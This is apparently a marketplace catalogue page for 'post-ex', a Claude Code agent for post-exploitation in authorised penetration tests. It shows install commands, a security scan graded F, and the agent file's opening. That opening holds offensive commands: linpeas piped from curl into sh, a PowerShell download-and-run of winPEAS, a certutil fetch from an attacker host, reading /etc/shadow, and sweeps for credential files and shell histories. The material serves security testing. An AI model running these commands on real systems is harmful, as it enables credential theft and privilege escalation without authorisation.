post-ex

post-ex is an agent for Claude Code from mukul975/Threatswarm. It costs 67 tokens per session (1,903 once invoked), scanned F, original, MIT.

A cybersecurity agent for post-exploitation work, meaning actions taken after gaining an initial shell on a system. It covers privilege escalation, moving between systems, persistence, and credential collection, subject to an in-scope target and active session.

In plain words
What is it for?
In authorised assessments, checking Linux privileges, SUID files, scheduled jobs, sudo permissions, lateral movement, persistence, and credential access.
Why use it?
It provides a defined process for checking current access and investigating what further access may be possible after entry.

Agent for Claude Code

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add agents/mukul975/threatswarm/post-ex
Clone the repo
git clone --depth 1 https://github.com/mukul975/Threatswarm

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for post-ex

README.md
[![agentmods](https://agentmods.dev/badge/agents/mukul975/threatswarm/post-ex.svg)](https://agentmods.dev/agents/mukul975/threatswarm/post-ex)
Your own site
<a href="https://agentmods.dev/agents/mukul975/threatswarm/post-ex"><img src="https://agentmods.dev/badge/agents/mukul975/threatswarm/post-ex.svg" alt="Measured on agentmods" height="20"></a>
Per session 67 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 1,903 The whole file, excluding the scripts and references it only reads on demand.
Security scan F 5 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00067 $0.01903
Opus 5 $0.00034 $0.00951
Sonnet 5 $0.00013 $0.00381
Haiku 4.5 $0.00007 $0.00190

Measured 5d ago against content hash 245f3c20c6be, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade F, and why

post-ex scanned grade F with 5 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Enumerates the file system for secretshighData exfiltration

Searching home directories for .env, .ssh, .aws or credential files is reconnaissance for credential theft.

find / -name "wp-config.php" -o -name "database.yml" -o -name ".env" 2>/dev/null | \

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

# Check GTFOBins for sudo entries

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

cat /etc/shadow | tee evidence/$(date +%Y%m%d)/$TARGET/creds/shadow_hash.txt

Downloads and executes remote codehighSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh \

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh \
.claude/agents/post-ex.md · 199 lines

How it starts

The opening of the file, as written. The whole thing — 199 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Cybersecurity Skills (Invoke First)

Before starting post-exploitation, invoke these skills via the Skill tool:

  • cybersecurity-skills:performing-privilege-escalation-on-linux
  • cybersecurity-skills:performing-lateral-movement-with-wmiexec
  • cybersecurity-skills:performing-credential-access-with-lazagne
  • cybersecurity-skills:extracting-credentials-from-memory-dump

Scope Enforcement

Verify target is in scope.txt. Confirm active session exists before proceeding. Document current access level (user, service, www-data, SYSTEM, etc.) before escalation.

Linux Privilege Escalation

Automated Enumeration

# LinPEAS — comprehensive Linux privesc checker
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh \
  2>&1 | tee /tmp/linpeas_$(date +%s).txt

# Copy output back
scp $USER@$TARGET:/tmp/linpeas_*.txt evidence/$(date +%Y%m%d)/$TARGET/post_ex/

Manual Checks

# SUID binaries
find / -perm -u=s -type f 2>/dev/null | tee /tmp/suid.txt
# Check against GTFOBins: https://gtfobins.github.io/

# Cron jobs
cat /etc/crontab && ls -la /etc/cron.* && crontab -l 2>/dev/null

# Sudo privileges
sudo -l 2>/dev/null
# Check GTFOBins for sudo entries

# Linux capabilities
getcap -r / 2>/dev/null

# World-writable files in PATH
find $(echo $PATH | tr ':' ' ') -writable 2>/dev/null

# Kernel version for exploit search
uname -r
searchsploit "linux kernel $(uname -r | cut -d'-' -f1)"

# Running services as root
ps auxf | grep root
ss -tulnp

# NFS shares with no_root_squash
cat /etc/exports 2>/dev/null

# Password files and histories
cat /etc/passwd | grep -v nologin
find /home -name ".bash_history" -o -name ".zsh_history" 2>/dev/null | xargs cat
find / -name "*.conf" -o -name "*.config" 2>/dev/null | xargs grep -l "password\|passwd\|secret" 2>/dev/null | head -20

Windows Privilege Escalation

Automated Enumeration

# WinPEAS (download and run)
# PowerShell download
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASbat/winPEAS.bat')

# Alternatively: certutil -urlcache -f http://$LHOST/winPEAS.exe C:\Windows\Temp\wp.exe && C:\Windows\Temp\wp.exe

Read the full file on GitHub · 199 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 5d ago First seen · 199 lines · 0 tokens per session scan F 245f3c20c6be

Subscribe to this mod's changes

post-ex is an agent published in the GitHub repository mukul975/Threatswarm (77 stars, last pushed 4mo ago), licensed MIT. It adds 67 tokens to every session and 1,903 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it F with 5 findings (enumerates the file system for secrets, asks for root, reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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